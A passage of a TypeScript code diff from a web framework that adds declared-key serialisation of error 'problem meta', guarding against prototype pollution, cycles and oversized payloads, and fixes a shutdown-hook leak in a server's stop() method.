+ * is where the framework keeps what a caller must not be handed, and an app that could declare
66
+ * `X_RATE_LIMITED: ['key']` would publish the limiter's internal key on every 429.
67
+ */
68
+ export const registerProblemMeta = (
69
+ declarations: Readonly<Record<string, readonly string[]>>,
70
+ ): void => {
71
+ for (const [code, keys] of Object.entries(declarations)) {
72
+ if (frameworkOwns(code)) {
73
+ throw problemMetaInvalid(code, 'the framework owns that code, and its meta is operator-only');
74
+ }
75
+ if (keys.length === 0) {
76
+ throw problemMetaInvalid(code, 'the key list is empty — omit the code instead');
77
+ }
78
+ for (const key of keys) {
79
+ if (typeof key !== 'string' || !KEY.test(key)) {
80
+ throw problemMetaInvalid(code, `${JSON.stringify(key)} is not a meta key`);
81
+ }
82
+ if (RESERVED_KEYS.has(key)) {
83
+ throw problemMetaInvalid(
84
+ code,
85
+ key === 'issues'
86
+ ? '`issues` already rides at the top level of the document'
87
+ : `\`${key}\` is not a key a document may carry`,
88
+ );
89
+ }
90
+ }
91
+ const existing = DECLARED.get(code);
92
+ if (existing !== undefined && !sameKeys(existing, keys)) {
93
+ throw problemMetaInvalid(code, `already declared as [${existing.join(', ')}] by this app`);
94
+ }
95
+ DECLARED.set(code, [...keys]);
96
+ }
97
+ };
98
+
99
+ /** Test seam. Production registers once at boot and never unregisters. */
100
+ export const resetProblemMeta = (): void => DECLARED.clear();
101
+
102
+ /** The keys declared for a code, or `undefined` when nothing was — which is every framework code. */
103
+ export const problemMetaKeysFor = (code: string): readonly string[] | undefined =>
104
+ DECLARED.get(code);
105
+
106
+ /**
107
+ * A code this package's table maps is the framework's. A `Set` of the table's own keys, for the
108
+ * reason `frameworkStatus` reads that table through `Object.hasOwn`: it is an object literal,
109
+ * and `registerProblemMeta({ toString: [...] })` must not find a function in it.
110
+ */
111
+ const FRAMEWORK_CODES: ReadonlySet<string> = new Set(Object.keys(ERROR_STATUS));
112
+ const frameworkOwns = (code: string): boolean => FRAMEWORK_CODES.has(code);
113
+
114
+ /**
115
+ * The declared keys of `meta`, copied member by member into a fresh document, or `undefined`.
116
+ *
117
+ * TOTAL — `meta` is a property read on a value this package did not build, in the frame that
118
+ * decides what the caller sees (`retryAfterOf`'s reason). ALL-OR-NOTHING, for `issuesOf`'s
119
+ * reason: a document carrying `sessionId` and silently missing `state` is a claim the server
120
+ * never made. So one value JSON cannot carry — a function, a `bigint`, a `Date`, a class
121
+ * instance, a non-finite number, a cycle — drops the WHOLE member, and so does a serialisation
122
+ * past `MAX_PROBLEM_META_BYTES`. A structural walk and never a `JSON.stringify` round trip: the
123
+ * round trip drops a function and an `undefined` SILENTLY, which is the footgun rather than the
124
+ * check (`@ultimat3/render`'s `island-props.ts` walks for the same reason).
125
+ *
126
+ * ABSENT when nothing survives — never `{}`. `{}` says "the server declared meta and had none",
127
+ * which a client cannot tell from "the server carries no meta for this code".
128
+ */
129
+ export function wireMeta(source: unknown, keys: readonly string[]): ProblemMeta | undefined {
130
+ try {
131
+ if (typeof source !== 'object' || source === null) return undefined;
132
+ const meta = source as Record<string, unknown>;
133
+ const out: Record<string, ProblemMetaValue> = {};
134
+ let carried = 0;
135
+ for (const key of keys) {
136
+ if (!Object.hasOwn(meta, key)) continue;
137
+ const value = jsonSafe(meta[key], new Set());
138
+ if (value === MISSING) return undefined;
139
+ define(out, key, value);
140
+ carried += 1;
141
+ }
142
+ if (carried === 0) return undefined;
143
+ const bytes = new TextEncoder().encode(JSON.stringify(out)).byteLength;
144
+ return bytes > MAX_PROBLEM_META_BYTES ? undefined : out;
145
+ } catch {
146
+ return undefined;
147
+ }
148
+ }
149
+
150
+ /** The one value the walk cannot answer with, distinct from the `null` JSON can carry. */
151
+ const MISSING: unique symbol = Symbol('problem-meta.missing');
152
+
153
+ /**
154
+ * A plain own data property, whatever the name: `out[key] = value` for the one name `__proto__`
155
+ * runs `Object.prototype`'s setter instead of adding a key. `registerProblemMeta` refuses that
156
+ * name at the top level; a NESTED object off the error is walked here with the same care, and
157
+ * the key is skipped outright — the receiving `JSON.parse` would mint it as an own key again.
158
+ */
159
+ function define(out: Record<string, ProblemMetaValue>, key: string, value: ProblemMetaValue): void {
160
+ Object.defineProperty(out, key, { value, writable: true, enumerable: true, configurable: true });
161
+ }
162
+
163
+ function jsonSafe(value: unknown, seen: Set<object>): ProblemMetaValue | typeof MISSING {
164
+ if (value === null) return null;
165
+ if (typeof value === 'string' || typeof value === 'boolean') return value;
166
+ if (typeof value === 'number') return Number.isFinite(value) ? value : MISSING;
167
+ if (typeof value !== 'object') return MISSING;
168
+ if (seen.has(value)) return MISSING;
169
+ seen.add(value);
170
+ let out: ProblemMetaValue | typeof MISSING = MISSING;
171
+ if (Array.isArray(value)) {
172
+ const items: ProblemMetaValue[] = [];
173
+ for (const item of value as readonly unknown[]) {
174
+ const safe = jsonSafe(item, seen);
175
+ if (safe === MISSING) return MISSING;
176
+ items.push(safe);
177
+ }
178
+ out = items;
179
+ } else if (isPlainObject(value)) {
180
+ const record: Record<string, ProblemMetaValue> = {};
181
+ for (const [key, item] of Object.entries(value)) {
182
+ if (key === '__proto__') continue;
183
+ const safe = jsonSafe(item, seen);
184
+ if (safe === MISSING) return MISSING;
185
+ define(record, key, safe);
186
+ }
187
+ out = record;
188
+ }
189
+ seen.delete(value);
190
+ return out;
191
+ }
192
+
193
+ /** A `Date`, a `Map`, an error, a class instance: each serialises to something other than itself. */
194
+ function isPlainObject(value: object): value is Record<string, unknown> {
195
+ const proto: unknown = Object.getPrototypeOf(value);
196
+ return proto === Object.prototype || proto === null;
197
+ }
package/src/server.ts CHANGED
@@ -210,7 +210,26 @@ export const createServer = (options: ServerOptions): ServerHandle => {
210
210
  return handle;
211
211
  },
212
212
  async stop() {
213
- if (server === undefined) return;
213
+ // Handed back FIRST, above every early return: on the SIGTERM path the `close` hook has
214
+ // already set `server = undefined`, so `if (server === undefined) return` skipped the
215
+ // release in the `finally` below for exactly the path production takes — two hooks left
216
+ // registered against a socket that is gone, per server, per lifecycle, which is the leak
217
+ // core's `shutdownHookCount()` exists to make visible. The shape `worker.ts`'s teardown
218
+ // holds: the unregisters are the closure's, not the drain's.
219
+ const releaseHooks = (): void => {
220
+ unregister?.();
221
+ unregisterClose?.();
222
+ unregister = undefined;
223
+ unregisterClose = undefined;
224
+ };
225
+ if (server === undefined) {
226
+ releaseHooks();
227
+ // Idempotent, and this path reaches it too: the close hook released the announcement, or
228
+ // the deadline cut it short and nobody did.
229
+ stopListening?.();
230
+ stopListening = undefined;
231
+ return;
232
+ }
214
233
  try {
215
234
  // Delegate to core so a manual stop() and a real SIGTERM take the identical
216
235
  // three-phase path. The drain deadline is core's, not ours.
@@ -219,8 +238,7 @@ export const createServer = (options: ServerOptions): ServerHandle => {
219
238
  // A throwing drain() must not leave this handle's hooks registered against a server
220
239
  // that is going away — core would still call them, against `server` fields already
221
240
  // torn down below, on the next drain this process runs.
222
- unregister?.();
223
- unregisterClose?.();
241
+ releaseHooks();
224
242
  }
225
243
  // Idempotent: the close hook already released, unless the drain deadline cut it short.
226
244
  stopListening?.();